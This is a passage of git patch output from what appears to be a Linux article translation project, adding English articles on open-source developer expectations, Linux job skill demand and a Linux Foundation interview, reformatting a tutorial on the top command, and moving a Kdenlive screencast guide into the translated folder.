| 84 ++++++++++++++ ...x TOP Command Examples With Screenshots.md | 106 +++++------------- 4 files changed, 243 insertions(+), 78 deletions(-) create mode 100644 sources/Are Open Source Developers Too Demanding.md create mode 100644 sources/Insights into top 3 IT skill groups in highest demand.md create mode 100644 sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md diff --git a/sources/Are Open Source Developers Too Demanding.md b/sources/Are Open Source Developers Too Demanding.md new file mode 100644 index 0000000000..5661374051 --- /dev/null +++ b/sources/Are Open Source Developers Too Demanding.md @@ -0,0 +1,70 @@ +Are Open Source Developers Too Demanding? +================================================================================ +**Open source invites participation, including criticism. But do developers sometimes take it too far?** + +![](http://readwrite.com/files/opencola_wikipedia.jpg) + +Developers can be a fickle bunch. Gifted with mountains of free, open-source code of ever-improving quality, some developers can’t help but complain that there’s not more, and even more free, software. But the problem often isn't the code itself, but poorly calibrated expectations and scanty training. + +### What? Me Pay? ### + +One sometimes unrealistic expectation is that software should be free. All of it. + +So, for example, we have [one young developer berating nginx][1] for building “admittedly amazing software” but then having the audacity to charge for it. + +No, really. Those nginx people are trying to make money by writing software that people want. Can you believe the gall? + +Actually, his problem is more nuanced than this. Despite electing not to use Apache httpd, the Hip Young Startup blog author complains that nginx "took a feature that Apache httpd has had literally forever and put it behind a pay wall." It's unclear why he doesn't just use Apache to solve his problem, given that he also says "the performance difference between nginx and httpd in this scenario is negligible." + +Or maybe he could fix nginx himself, given that, by his own admission, it's "trivial" to make the changes himself to get around nginx's attempts to sustain product development by charging for some features. The problem, as he acknowledges, is that he "shouldn’t have to do any of this [crap]." + +In other words, the world (or nginx) owes this developer a living. Who knew? + +Let's be clear: one of the ways open source succeeds is by dramatically lowering the bar to adoption. Charging money, even a negligible fee, can hinder that adoption. But getting uppity about the primary developer of an open-source project charging money for value? As programmer Brendan Loudermilk ([@bloudermilk][2]) [tells][3] the Hip Young Startup blogger, "You could always pay for and support the software that serves as a core dependency of your app." + +Imagine that. + +### Documentation? Of Course I Didn’t Read The Documentation! ### + +Then there are the countless others who take to Hacker News to complain about software they often don’t understand, quite often because they haven’t bothered to read the documentation. I completely get that great software should be approachable, and great products, generally, should be somewhat self-explanatory. + +But much of the best open-source software can be complex to run, at least, at scale. If the software isn't working for someone, it's not obvious that the software is the problem. Vlad Mihalcea, founder of the Struts open-source framework, nails this, [arguing][4] that “if there is someone to blame, it’s usually us” as much of the available open-source software tends to be high-quality code. + +What it isn’t, he goes on to argue, is a free lunch in terms of a learning curve. Any software, whether open source or proprietary, requires some investment in learning how to be productive with it. As he notes of Hibernate and other open-source technologies, “If you want to employ them [successfully], be prepared to learn a lot. There is no other way.” + +This won’t resonate with the hacker crowd whose first instinct is to complain when software doesn’t work the way they want, even if it wasn’t designed to do what they want it to do. But it’s true, all the same. + +### Healthcare.gov Vs. Gov.UK ### + +Just look at the Healthcare.gov debacle for proof. Recently NoSQL database vendor MarkLogic has been [taking bullets][5] over its alleged role in Healthcare.gov’s many technical problems. [Some have gone so far as to argue][6] that NoSQL databases, in general, are faulty because of the Healthcare.gov debacle. + +This is stupid. + +MarkLogic is a fine database. While not perfect, it’s silly to blame Healthcare.gov’s problems on this legacy database. Code isn’t the primary problem. + +As [I’ve argued][7], Healthcare.gov’s problems aren’t really about code, but instead about process. For proof, look no further than Healthcare.gov’s British peer, Gov.UK, [which credits NoSQL technologies][8] as a significant reasons for its success. + +The difference isn’t in the code the two websites used, but rather their respective approaches: Gov.UK is iterative, agile. Healthcare.gov is top-down, waterfall. + +### A Poor Craftsman Blames Her Tools ### + +Open source invites criticism by laying bare its strengths and weaknesses in a way proprietary software never did. Developers today have a level of accessibility to the code they use that previous generations of developers lacked, with a megaphone (the Internet) that allows them to broadcast complaints about that code. + +But let’s not lose sight of just how blessed we are to have this code, or forget our obligation to apply it appropriately in order to be successful. In other words, read the documentation before you complain that open-source software doesn’t “work.” More often than not, it works just fine, but not for the ill-conceived purpose you have in mind. + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2013/11/26/are-open-source-developers-too-demanding#awesm=~ooy2qPfuR2PvIx + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://readwrite.com/2013/11/26/%E2%80%9Chttp://www.hipyoungstartup.com/2013/11/we-should-ditch-nginx/%E2%80%9C +[2]:https://twitter.com/bloudermilk +[3]:http://www.hipyoungstartup.com/2013/11/we-should-ditch-nginx/#comment-17 +[4]:http://readwrite.com/2013/11/26/%E2%80%9Chttp://java.dzone.com/articles/why-i-never-blame-open-source%E2%80%9D +[5]:http://gigaom.com/2013/11/25/how-the-use-of-a-nosql-database-played-a-role-in-the-healthcare-gov-snafu/ +[6]:http://developers.slashdot.org/story/13/11/24/1437203/nyt-healthcaregov-project-chaos-due-partly-to-unorthodox-database-choice +[7]:http://readwrite.com/2013/11/04/sorry-open-source-isnt-the-panacea-for-healthcaregov#awesm=~oojDQ8fiVXrjGP +[8]:http://digital.cabinetoffice.gov.uk/colophon-beta/ \ No newline at end of file diff --git a/sources/Insights into top 3 IT skill groups in highest demand.md b/sources/Insights into top 3 IT skill groups in highest demand.md new file mode 100644 index 0000000000..e4842bcb5c --- /dev/null +++ b/sources/Insights into top 3 IT skill groups in highest demand.md @@ -0,0 +1,61 @@ +Insights into top 3 IT skill groups in highest demand +================================================================================ +![](http://www.linuxcareer.com/images/linux_it_skills_watch.png) + +According to our [IT skill sets][1] research, IT skills required by employers of Linux talent can be classified into relatively independent groups. This article focuses on the top three groups of IT skills that were in the highest demand in the last quarter (Jul-Sep 2013) and refer to job advertisements in selected countries, including USA. It turns out that these three groups of IT skills can be linked with Linux related job categories. + +It seems that in the last quarter Embedded Devices Developers related skills were in the highest demand by employers of Linux professionals. The second and third skill groups refer to Virtualization Engineering and LAMP Administrator job opportunities, respectively. This article discusses skill requirements for these three types of job listings and provides insights into the dependency structure of pairs of IT skills within the analyzed three groups of skills. + +> If you have not read our [IT Skill Sets][1] article it is recommended to familiarize yourself with this article before you start reading the content below. This article is based on the material presented previously in [IT Skill Sets][1], which explains in detail the methodology used in this study. + +### October 2013 update to IT skills classification ### + +![](http://www.linuxcareer.com/images/percentage_of_linux_job_ads_linked_with_corresponding_skill_groups.png) + +In the IT skill sets article, LinuxCareer.com analyzed the Linux job listings for the period between May and the end of June 2013. We have brought this classification up to date by considering the period of July until the end of September 2013. The percentage of Linux job ads corresponding to ten relatively independent groups of IT skills is displayed in the above bar chart[1]. The following link to the [IT Classification][2] diagram shows how this bar chart was devised based on the classifications. The top three IT skill groups in highest demand are: Embedded Devices Developers with 27% of Linux job market share; Virtualization Engineers with 20% of Linux job market share; and LAMP Administrators with 12% of Linux job market share. In the next three sections of this article we will focus on the identified top 3 IT skill groups and discuss in detail relationships between pairs of skills. For instance, MySQL and PHP are strongly linked and usually required in tandem by employers. Note also that knowledge of Linux is required in every job advertisement taken into account in the study conducted by LinuxCareer.com. + +### Embedded Devices Developers and Programmers ### + +The first set of skills in the highest demand are skills relevant to Embedded Devices Developers and Programmers. Dependency chart[2] below shows more detail pertaining to relationships between pairs of skills. Specifically, it shows which pairs of skills are most likely to appear together in Linux related job advertisements. For instance, Embedded links strongly to C/C++/C#, which is visualized in the graph by either darker shade of a rectangle in the lower part of the graph or larger portion of the corresponding circles shaded in the upper portion of the graph. + +In general, this group of skills can be further split into three segments. These are: + +1. **Android, Embedded, C/C++/C# and Java**. This is the core of the skills you need to know if you would like to work in development of embedded devices. It is possible that either C/C++/C# or Java is required by employers, since Java is based to some extend on C/C++/C#. If you have a look at the October’s IT Skills Watch, Java leads as a programming language with the score of 9513 compared with the C/C++/C# score of 5403. Therefore, in general, if you stand before a choice between mastering of C/C++/C# or Java, Java seems to be a better choice. However, according to the graph below, C/C++/C# seems to appear more frequently in the advertisements relevant to Embedded devices. This suggests that, even though Java gets a higher general score in IT Skills Watch, mastering of C/C++/C# rather than Java is required for Embedded Devices Developer positions. +1.** Python, Perl and Bash**. These set of skills are a complementary set of programming and scripting skills. Perl and Python seem to appear often together in job advertisements, however, it is reasonable to assume that these two skills are required alternatively. +1. **Git, Subversion and Jira**. These skills pertain to source code management, debugging and project management. Some knowledge of these skills is certainly an advantage to programming related projects. Currently, the majority of open source development projects and a large number of corporate projects use such software to manage their source code. + +![](http://www.linuxcareer.com/images/embedded_devices_development_skills_demand_dependency.png) + +### Virtualization Engineers including skills related to data storage and management ### + +The second group of skills that are currently in demand are the group of skills relating to job advertisements relevant to Virtualization Engineering job opportunities as illustrated in the dependency chart[2] below. This group can be further divided into two segments. The first segment of skills is Redhat, VMware, vSphere, ESX/ESXi, XenServer and Citrix. These skills are paramount for Virtualization Engineering job opportunities. The second segment of skills are skills relevant to Unix Systems, Data Storage and Management. It appears that these two segments are closely related. It is not a surprise that VMware comes together with ESX/ESXi and vSphere since ESX/ESXi is a computer virtualization product offered by VMware and vSphere is VMware’s cloud computing virtualization operating system. It is also interesting that Redhat has been grouped with VMware and Citrix products. The strong relation of Solaris and AIX could be a consequence of the fact that they are both proprietary Unix Systems and possibly knowledge of either one of them is sufficient. + +![](http://www.linuxcareer.com/images/virtualization_engineering_skills_demand_dependency.png) + +### LAMP Administrators ### + +Finally, the third group of skills is the type of skills required by employers of LAMP administrators exhibited in the dependency chart[2] below. LAMP stands for Linux Apache MySQL and PHP. All these skills are a core for a LAMP administrator. This is a relatively small group of skills that can take you far in your Linux career. In particular, the strong relation of PHP and MySQL suggests that one of these skills cannot come without the other. + +![](http://www.linuxcareer.com/images/lamp_administrator_skills_demand_dependency.png) + +### Conclusion ### + +In terms of employability and groups of skills relevant to Linux professionals, this article has identified two important points. The first point shows ten groups of IT skills that were identified by clustering analysis of the most frequently appearing IT skills. The second point of this article shows that the highest demand exists for Embedded Devices and Programmers positions as indicated in the Percentage of Linux job ads linked with corresponding skill groups bar chart. This is followed by job advertisements relevant to Virtualisation Engineering positions and LAMP administrator positions. These three skill groups are core Linux related professions in the last quarter analyzed. + +### References ### + +[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3]. Relevant package: graphics. + +[2] Dependency charts created by [GNU R][3]. Relevant package: corrgram. + +-------------------------------------------------------------------------------- + +via: http://www.linuxcareer.com/insights-into-top-3-it-skills-groups-in-highest-demand + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxcareer.com/it-skill-sets +[2]:http://www.linuxcareer.com/images/Linux_jobs_classification_jul_oct_2013.png +[3]:http://www.r-project.org/ \ No newline at end of file diff --git a/sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md b/sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md new file mode 100644 index 0000000000..8ce7e236cd --- /dev/null +++ b/sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md @@ -0,0 +1,84 @@ +Linux chief: ‘Open source is safer, and Linux is more secure than any other OS +================================================================================ +In an interview with Linux Foundation executive director Jim Zemlin, VentureBeat got a bird’s-eye view of the future of the open-source operating system for 2014. + +We also addressed the controversial issues of government spying and “backdoors” — those nefarious windows into our personal online lives that the public recently discovered in most of the services we use every day. + +Zemlin gave us the skinny on how and why GNU/Linux remains the most secure option for concerned consumers — and why it’s becoming the OS of choice for powering cars, phones, TVs, and all kinds of emerging devices. + +Here’s our e-mail transcript in a bare-naked Q&A format. + +---------- + +**VentureBeat: Security and privacy has been the hottest topic this year, bar none. We’ve heard rumors that Linus [Torvalds, Linux creator] OK’d a Linux backdoor for the government.** + +**Zemlin**: If there were a backdoor in Linux, you’d know it. + +The whole world can see every line of code in Linux. This is one of the reasons Linux is more secure than other operating systems and why open-source software overall is a safer than closed software. The transparency of the code ensures it’s secure. + +And for the record: He wasn’t approached. + +**VentureBeat: How committed is the foundation to preserving Linux users’ privacy and freedom from tracking/surveillance?** + +**Zemlin**: As committed as we have always been. It’s very difficult to insert something into the kernel that would violate privacy and freedom without thousands of developers noticing. The nature of Linux is that it’s self-policing. + +**VentureBeat: Do you think there’s any chance that this year’s privacy/security/surveillance issues has driven or will drive more consumers toward Linux?** + +**Zemlin**: Around the world, I am hearing people say, “Using open source is a critical to ensure privacy.” So yes, I think that will drive more users people to Linux. + +I also think more consumers are being driven toward Linux for a variety of reasons, in addition to the confidence and trust they have about privacy and security related to the platform. The transparency of the code and development process gives increasingly knowledgeable and aware consumers an option they feel good about. + +[Video game publisher] Valve and [its work on SteamOS][1] is driving more consumers to Linux, as is the ongoing dominance of Android and other consumer devices that run Linux — from televisions to appliances, cars, and more. + +**VentureBeat: Do you have any thoughts on the Ubuntu Edge for phones? Where do you see the market for Linux/Ubuntu phones going in 2014-2015?** + +**Zemlin**: I like seeing potentially interesting new products go to market, especially when they’re Linux-based. It is hard to predict what product will produce a big hit in the phone market from year to year. + +I don’t think it is a stretch to predict phones based on Linux will dominate. Android, Tizen, Ubuntu, Firefox, and more show that Linux can drive innovation in the mobile market and create new experiences for consumers and market opportunities for developers and OEMs. + +What’s exciting about the year ahead, and what I’ll be watching, is how Linux and open source will help connect all of these devices, objects, and services together. + +**VentureBeat: What’s the most exciting use case you’ve seen so far for Linux embedded in automobile systems?** + +**Zemlin**: No question it’s the in-vehicle-infotainment systems being built by Cadillac, Tesla, Toyota, Jaguar, Land Rover, and others. + +For example, the Tesla Model S, which won the Motor Trend Car of the Year [honor] in 2013, features a 17-inch flat-screen computer running a custom-built Linux OS. This is really, really cool stuff. + +And the 2014 Motor Trend Car of the Year was just revealed — the Cadillac CTS sedan — and it also uses Linux for its in-vehicle-infotainment system. Car makers are able to innovate and differentiate with these systems using Linux. + +The success of Linux here can be seen in the latest numbers from IHS Automotive, which reported this month that sales of automotive Linux are expected to rise to 53.7 million units in 2020, passing Microsoft and Blackberry QNX in the global automotive infotainment market. + +The Linux Foundation does a lot of work in this area with its Automotive Grade Linux workgroup. By hosting a neutral, supportive environment among the Linux kernel community, other open-source communities, and the automotive industry, we’re able to help advance automotive Linux technologies among some of the world’s largest automakers including Nissan, Jaguar, Land Rover, Toyota, and more. + +**VentureBeat: How is Linux growing beyond the hardcore developer market, especially with regard to consumers and gamers?** + +**Zemlin**: This year has been a turning a point for Linux with gamers for sure. Valve, the gaming company behind the Steam web platform for Linux, builds and runs all of its source code and animation on Linux. Valve’s CEO Gabe Newell reported at LinuxCon this year that they’re running 198 games on Linux, and with the introduction of the Linux-based Steam, that number will only continue to go up. This is the beginning of a new trend for Linux and gaming. + +Consumers use Linux every day. It is the software that runs our lives. Companies like Google, Facebook, and Twitter are built on Linux and open-source software. At our LinuxCon Europe conference in October, Twitter’s Chris Aniszczyk told the audience: “Twitter is of course all running on Linux. Why would you need anything else?” + +Linux now powers the 1.3 million Android phones that are activated daily, and most of the nearly 600,000 new TVs sold every day. New appliances and cars are being built with Linux. Major transportation systems use the operating system. The superpopular [GoPro uses Linux and open source][2]. The examples are endless. + +And Linux and open source will just keep reaching more into mainstream consumer life. Samsung uses the Linux kernel and Linux-based products throughout its product line, from TVs to phones to home appliances and more. + +Stay tuned — you’ll see more coming that illustrates the growing role of Linux and open source software and collaborative development in everyday life. + +**VentureBeat: What are the biggest opportunities for free and open-source software in 2014, in your opinion?** + +**Zemlin**: We’ve talked about gaming and consumer devices, but the enterprise continues to present even more opportunity for Linux. The rise of cloud computing is creating new challenges for developers and new opportunities for growth. Try to find a public cloud that’s not running Linux. + +The realization of years of promise in software defined networking will be one of the major stories of 2014. People don’t appreciate how big software defined networking and network function virtualization will become. Think about it. Billions of dollars are spent on hardware based switches, routers, load balancers, firewalls, etc.; this is all being abstracted into software. More importantly it is being abstracted via open source software in the sweet spot for OSS which is at this infrastructure layer. I think you’ll see projects like OpenDaylight and others have a big breakout year in 2014. + +Of course, this is all part of a broader trend towards collaborative development, which should be of interest to your readers. I’d predict that in another decade nearly all of infrastructure software will be built collaboratively. Developers in 2014 need to learn how to build software collaboratively and how to work on and contribute to open source software projects. Their career opportunities will be endless if they understand the principles of collaborative development and open source software. + +It’s a thrilling time to be involved in Linux. It’s become the de facto platform to go to for everything from smart watches to TVs to automobiles, you name it. + +-------------------------------------------------------------------------------- + +via: http://venturebeat.com/2013/11/26/linux-chief-open-source-is-safer-and-linux-is-more-secure-than-any-other-os-exclusive/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://venturebeat.com/2013/09/23/steamos-valves-linux-based-operating-system-for-the-tv-and-living-room/ +[2]:http://gopro.com/support/open-source \ No newline at end of file diff --git a/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md b/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md index 1bd50f45ee..89d448f353 100644 --- a/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md +++ b/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md @@ -7,17 +7,13 @@ The top command in Linux displays the running processes on the system. One of th First of all, let us understand what the output says. Top command displays a lot of information about the running system. But we need to under stand the meaning of different sections of this output: Running by default, the top command displays output like this: -![](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png) - -*Top default display* +![Top default display](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png) First few lines are horizontal showing summary about different system parameters, and following these are the processes and their attributes in columns. #### 1.1 Uptime and Load Averages: #### -![](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png) - -*Uptime display* +![Uptime display](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png) At the top of top command is displayed the output similar to uptime command. @@ -32,17 +28,13 @@ This uptime display can be toggled with ‘l’ command. #### 1.2 Tasks: #### -![](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png) - -*Task summary* +![Task summary](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png) The second line shows summary of tasks or processes. The processes can be in different states. It shows total number of the processes. Out of these, the processes can be running, sleeping, stopped or in zombie (zombie is the state of a process state, These process summary can be toggled with ‘t’ command. #### 1.3 CPU States: #### -![](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png) - -*CPU status display* +![CPU status display](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png) Next is shown the CPU state. Here, %age of CPU time in different modes is shown. The meaning of different CPU times are: @@ -58,9 +50,7 @@ This can be toggled with ‘t’ command. #### 1.4 Memory Usage: #### -![](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png) - -*Memory usage* +![Memory usage](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png) Next two lines show memory usage, somewhat like ‘free’ command. 1st of these lines is for physical memory and the second for virtual memory (swap space). @@ -70,9 +60,7 @@ The memory can be toggled with ‘m’ command. #### 1.5 Fields/Columns: #### -![](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png) - -*Top columns* +![Top columns](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png) After these horizontal system properties and states, the processes are shown in columns. The different columns represent different properties discussed below. @@ -130,9 +118,7 @@ We discussed earlier that the top command is interactive commands. Some of the c First of all, you can press ‘h’ or ‘?’ to display the help menu for interactive commands. -![](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png) - -*Help options* +![Help options](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png) #### 2.2 ‘’ or ‘’: Refresh Display #### @@ -149,59 +135,41 @@ This command switches between full-screen Mode and alternate-display mode. In al Each of the 4 field groups has a unique separately configurable summary area and its own configurable task area. Only one of these 4 windows will be the current window. The current window is displayed on the top left corner. -![](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png) - -*Alternative display mode* +![Alternative display mode](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png) You can switch between 4 windows with ‘a’ and ‘w’ keys. ‘a’ moves to next and ‘w’ to previous window. With ‘g’ command, you can enter a number to select the current window. -![](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png) - -*Window selection in alternative display* +![Window selection in alternative display](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png) #### 2.4 B: Toggle Bold Display #### Some important information is shown in bold characters. This command toggles use of bold. -![](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png) - -*Bold off* +![Bold off](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png) #### 2.5 ‘d’ or ‘s’: Set Display Time interval #### When ‘d’ or ‘s’ is pressed, you will be prompted to enter a value ( in seconds ) which will be set as display interval. If you enter 1 here, top will refresh every second. -![](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png) - -*Display time interval* +![Display time interval](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png) #### 2.6 ‘l’, ‘t’, ‘m’: Toggle Load, Task, Memory Info #### These will toggle load average, task/cpu status and mem info respectively as discussed. -![](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png) +![Load average off](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png) -*Load average off* +![CPU summary off](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png) -![](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png) +![Memory and swap usage off](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png) -*CPU summary off* - -![](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png) - -*Memory and swap usage off* - -![](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png) - -*All three displays off* +![All three displays off](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png) #### 2.7 ‘f’: Field Management #### This is used to chose what field you want to display on the output screen. The fields marked as * are selected. -![](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png) - -*Managing columns* +![Managing columns](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png) ‘<’ and ‘>’ The ‘<’ command moves the sorted field to the left and ‘>’ to the right @@ -214,39 +182,29 @@ Toggle Reverse/Normal sort order Toggle full path of command that started the process and program name. -![](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png) +![Full command path](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png) -*Full command path* - -2.10 ‘i’: Idle Tasks +#### 2.10 ‘i’: Idle Tasks #### Toggle idle tasks. -![](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png) - -*Idle task display off* +![Idle task display off](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png) #### 2.11 ‘V’: Forest View #### Toggle forest view mode. -![](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png) - -*Forest view of tasks* +![Forest view of tasks](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png) #### 2.12 ‘Z’: Change color map #### Pressing the ‘Z’ key takes the user to a screen where the display color can be changed for top command. There are 8 task areas to chose from and 8 colors. -![](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png) - -*Customizing colors* +![Customizing colors](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png) The below screen shows full colored top view with all 4 screens on. -![](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png) - -*Colored display* +![Colored display](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png) #### 2.13 ‘z’: Toggle Color #### @@ -256,35 +214,27 @@ Toggle color, i.e. turn on or off the colored display. Toggle highlights: ‘x’ sort field; ‘y’ running tasks. Depending upon your display settings, You might have to make the output colored in order to notice these highlights. -![](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png) - -*X and Y highlighted* +![X and Y highlighted](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png) #### 2.15 ‘u’: Processes of a User #### Show processes for a particular user. You are prompted to enter the username. Blank will show for all users. -![](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png) - -*Processes of 'raghu' user* +![Processes of 'raghu' user](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png) #### 2.16 ‘n’ or ‘#’: Number of tasks #### Set maximum number of tasks displayed. -![](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png) - -*Setting number of tasks displayed* +![Setting number of tasks displayed](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png) #### 2.17 ‘k’: Kill tasks #### One of the most important commands of top. Used to send signals to tasks (Usually kill tasks). -![](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png) +![Killing a task](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png) -*Killing a task* - -2.18 ‘r’: Renice +#### 2.18 ‘r’: Renice #### Renice a task to change the scheduling priority. @@ -324,7 +274,7 @@ will exit top automatically after 3 outputs. You can specify what PIDs you want to monitor with -p option. PID value 0 will be treated as process ID of top command itself. -3.7 -u or -U: username or UID +#### 3.7 -u or -U: username or UID #### The process of a particular user can be viewed with these options. Username or UID can be specified to the option. The -p, -u and -U options are mutually exclusive. Only one of the options can be used at a time. You get error when you try to use any combination of these options: From 3d4641eb6973e61a7d3568620d6aefa51a4a59e9 Mon Sep 17 00:00:00 2001 From: unknown Date: Fri, 29 Nov 2013 14:06:49 +0800 Subject: [PATCH 049/148] =?UTF-8?q?=E5=AE=8C=E6=88=90=E7=BF=BB=E8=AF=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...Instructional Screencast Video on Linux.md | 95 ------------------- ...Instructional Screencast Video on Linux.md | 95 +++++++++++++++++++ 2 files changed, 95 insertions(+), 95 deletions(-) delete mode 100644 sources/How to Make a YouTube Instructional Screencast Video on Linux.md create mode 100644 translated/How to Make a YouTube Instructional Screencast Video on Linux.md diff --git a/sources/How to Make a YouTube Instructional Screencast Video on Linux.md b/sources/How to Make a YouTube Instructional Screencast Video on Linux.md deleted file mode 100644 index b49acb0577..0000000000 --- a/sources/How to Make a YouTube Instructional Screencast Video on Linux.md +++ /dev/null @@ -1,95 +0,0 @@ -translating by coolpigs - -How to Make a YouTube Instructional Screencast Video on Linux -================================================================================ -A picture is worth a thousand words, and a well-crafted how-to video is darned near priceless. Linux has all the tools you need to make high-quality and useful instructional videos. We shall make a simple screencast with the wonderful Kdenlive video editor and the Audacity audio recorder and editor, and learn how to share this splendid screencast on YouTube. - -All you need is your nice Linux PC with Kdenlive and Audacity installed, a good-quality microphone or headset, and a YouTube account. (Yes, there are many other free video-sharing services, and you are welcome to explore them.) YouTube is owned by Google, so Google tries to entice you into rampant sharing with everything and everyone in the world. Just say no if this is not what you want to do. - -Our workflow goes like this: - -- Capture screencast with Kdenlive -- Record soundtrack with Audacity -- Add soundtrack to Kdenlive -- Upload to YouTube -- The world views your video and is happy. - -Kdenlive supports most popular digital video formats, including AVI, MP4, H.264, and MOV. It supports image files such as GIF, PNG, SVG, and TIFF, and audio file formats including uncompressed PCM, Vorbis, WAV, MP3 and AC3. You can even read and edit Flash files. In short, it should handle pretty much anything you throw at it. - -Your soundtrack is just as important as your video track. Please, I beg you, pay attention to your audio. Keep it clean and simple, and keep the rambling digressions, verbal tics, and distracting background noises to a minimum. I prefer a good-quality headset for making narrations because you don't have to worry about microphone placement, and you can listen to yourself over and over without driving bystanders insane. - -The Kdenlive documention is outdated and tells you that you need RecordMyDesktop to make screencasts. I have Kdenlive 0.9.4, and it does not need RecordMyDesktop. - -![](http://www.linux.com/images/stories/41373/fig-1-settings.png) - -*Figure 1: Default profile settings.* - -### Making the Screencast ### - -If you're installing Kdenlive for the first time you'll get a configuration wizard at first run. Don't worry too much about the default settings because you can change them anytime. These are the settings I use for my screencasts: HD 720p 30 fps, 1280x720 screen size. How do you know what settings to use? [YouTube tells you][1]. To set these values go to Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps (figure 1), and set the size of your screen capture in Settings > Configure Kdenlive > Capture > Screen Grab (figure 2). You may also choose a Full Screen Capture, though it's better to stick with the dimensions specified by YouTube, because if they're different YouTube adds pillarboxes to make them fit. Your eager viewers want to see a screen filled with glorious content, not pillarboxes. - -![](http://www.linux.com/images/stories/41373/fig-2-settings.png) - -*Figure 2: Screencast screen size.* - -The default YouTube video player size is 640x360 at 320p, which is small and blurry. The player has controls for small, larger, and full-screen, plus multiple quality levels. These are for your viewers only, and you can't change the defaults, which is sad because nothing looks good at 640x360 at 320p. But you still want to make videos with the higher quality settings, and you can always add some text to remind your viewers to try the better settings. - -### Save Your Project ### - -Before you do anything else go to File > Save as to save your project, and remember to save it periodically. - -### Screen Grab ### - -Making your screen capture is easy as pie. Go to the Record Monitor, select Screen Grab, and then hit the Record button. This opens a box with dotted borders on your screen, and everything inside this box is recorded. So all you have to do is move and size the window you want recorded inside the box. Do your thing, then when you're finished click the stop button (figure 3). - -![](http://www.linux.com/images/stories/41373/fig-3-screen-grab.png) - -*Figure 3: Making the screen grab.* - -Clicking Stop automatically opens the Clip Monitor so you can preview your new clip. If you like it, drag it from the Project Tree to the Video 1 track. Now you can edit your new video. There are always bits you'll want to trim; a fast way to do this is to play your clip in the Project Monitor until you get to the end of the part you want to remove. Then Pause, then press Shift+r. This cuts your clip at the point on the timeline that you stopped, so now you have two clips. Click on the one you want to delete and press the Delete key, and poof! It is gone. - -You'll want to drag your remaining clip to whatever point on the timeline you want it to start, and you might want to add some nice transitions. Some simple fades are good; simply right-click on your clip and click Add Effect > Fade > Fade from black and Fade to black, and Kdenlive will automatically place them at 